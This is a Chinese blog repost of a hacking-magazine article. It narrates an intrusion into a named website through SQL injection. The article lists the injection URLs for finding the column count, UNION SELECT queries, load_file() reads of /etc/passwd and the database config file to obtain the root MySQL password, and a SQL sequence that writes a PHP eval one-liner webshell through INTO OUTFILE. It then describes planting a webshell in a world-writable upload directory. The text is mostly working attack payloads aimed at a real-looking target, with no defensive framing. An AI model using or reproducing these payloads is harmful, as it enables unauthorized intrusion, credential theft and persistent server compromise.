php注入豪杰解霸

本文通过实战案例介绍如何利用SQL注入获取网站权限的过程,包括利用注入点确定数据库长度、读取敏感文件信息并最终获得webshell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

:本文章已经已发表在《黑客手册》第5期,转载请注明版权信息。 ---------------------------低级的分割线----------------------- 文章很菜很菜,低级的root+injection读代码拿到shell,不会linux。 没提上去。 想继续玩的可以提权,那linux内核很低。(高手就不用看文章了) ---------------------------低级的分割线----------------------- 事出有因 2月14号了,seeflood给我的注入点。     很习惯性的加了一个单引号“’”,提示暴出路径,没什么其他的异常,于是开始注射。 1、        使用order by 确定长度。 http://www.herosoft.com/download.php?fid=2 order by 40/*出错 http://www.herosoft.com/download.php?fid=2 order by 20/*返回正确,也就是说在20-40之间,高中学过2分法的吧,就那样注入,接着我们提交 http://www.herosoft.com/download.php?fid=2 order by 30/*返回错误,ok,我们的长度缩小到了30-40之间,继续提交 http://www.herosoft.com/download.php?fid=2 order by 35/*,返回提示错误,那么我们的长度应该在30-35之间,最后我确定了长度为31,(下文中的%20就是空格)。 2、联合查询 我们得到长度了之后就开始找信息了,提交以下数据返回如图1 http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* (图1) 接着我们把“7”、“10”分别用user()、database()来代替,提交   http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,user(),8,9,10,databse(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*返回信息如图2所示 (图2) 从图里我们可以看到数据库和web在一个服务器上,并且是root权限的,很不错!既然是root权限的我们就不需要去猜解表名浪费时间了…后来注意到。服务器是一个linux的,apache的,米办法,小菜我也不会提权,那么咱们以得到webshell为目标出发吧!首先,我们的权限是ROOT,不出意外的话load_file()是可以用的。我们先把download.php这个文件给读出来,转成16进制(当PHP对单引号进行转义的时候转成16进制就不需要单引号了),接着我们开始提交以下信息 http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F777777726F6F742F6865726F736F66742F646F776E6C6F61642E706870),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*我们看返回的信息是什么吧,如图3 (图3) 这个图里的信息是通过loadfile读取出来的,大家在IE浏览器里的“查看”---“ 源代码”中就能找到。其实这个图最多给我们的信息是我们可以loadfile读取,好吧,换一个文件读取,和上面一步一样,我们就读取0x2F006500740063002F00700061007300730077006400里的信息,这个是什么呢,就是/etc/passwd的路径,ok,我们提交 http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F006500740063002F00700061007300730077006400),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*返回信息如图4 (图4) 这个……小菜也没学过linux,啥意思呢?看信息这个密码难道是X?也不可能啊……此路不行,条条大路通我家。换个思路,是root的权限,我们能不能…能不能SSH,我扫了下,结果如图5 (图5) 可是,咱们连不上去…怪了……没事。Sniperhg老是提醒我,咱们有root,于是再继续读文件吧,dowload.php include了一个文件,是/admin/dblink.php,看名字就知道是数据库连接文件,提交地址: http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F777777726F6F742F6865726F736F66742F61646D696E2F696E636C7564652F64626C696E6B2E706870),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* 这样,我们查看源代码看到什么了?!如图6 (图6) 非常好!我们拿到了密码,接着就试着用牛族的mysql连接器连了,小菜有人问了:root不是本地才能的吗?嘿嘿,我RP一向不错,默认情况下是的,但是他有不有默认就不知道了,反正我成功连上了,如图7 (图7) 好!后面的简单了。我们导出一句话就能连上去了,依次执行
复制内容到剪贴板
代码:
Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>'); select cmd from a into outfile '/wwwroot/herosoft/test.php'; Drop TABLE IF EXISTS a;
结果发现执行到第3步的时候出错,那是为什么呢,原因有2个:第1、我们的权限不够,无权写(几率很大!)第2、文件已经存在。没有权限怎么办呢?不怕,咱们从后台溜进去吧!于是登陆后台观察,发现不能上传PHP文件的,锁的很紧,无奈……没办法了怎么办,找sniperhg,他给我了一个shell,哇!原来是读了目录里的实现上传功能的文件的PHP代码,有这么一句:
复制内容到剪贴板
代码:
$datetime = date("YmdHis"); $date = date("Y-m-d"); $upfile_name=substr($upfile_name,-4); $img_directory="../../adminupload/uploadpic/$date"; if (! file_exists($img_directory)){                 @mkdir($img_directory,0777);         }
中,如果文件夹不存在的话,是会自动创建一个属性是0777的文件夹,而0777属性的文件夹是可写的,我们找一个图片存放的文件夹就可以了,这里我到后台看了下,有个新闻图片,地址格式就是以日期命名的。其实大家遇到类似的问题也可以去img和admin两个目录下去搞,因为img下放图的嘛!admin下有一些备份之类的操作。现在知道上传的目录有权限写了,自然就outfile到了一个webshell,如图8 (图8)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值